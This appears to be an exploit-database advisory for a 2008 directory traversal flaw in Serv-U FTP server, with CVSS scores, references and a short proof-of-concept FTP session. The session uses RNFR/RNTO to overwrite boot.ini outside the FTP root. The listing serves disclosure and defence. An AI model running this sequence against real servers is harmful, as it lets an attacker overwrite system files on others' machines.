Serv-U <= 7.3 Remote FTP File Replacement Vulnerability (auth)

2008.10.10
Credit: dmnt
Risk: High
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#Serv-U <= 7.2.0.1 / 7.3 ftp file replacement #user must have upload permissions # #(x) dmnt 2008-10-01 220 Serv-U FTP Server v7.3 ready... user test 331 User name okay, need password. pass test 230 User logged in, proceed. rnfr any_exist_file.ext 350 File or directory exists, ready for destination name. rnto ..\..\..\boot.ini 250 RNTO command successful. #boot.ini rewrited

References:

http://www.frsirt.com/english/advisories/2008/2746
http://www.milw0rm.com/exploits/6661
http://secunia.com/advisories/32150


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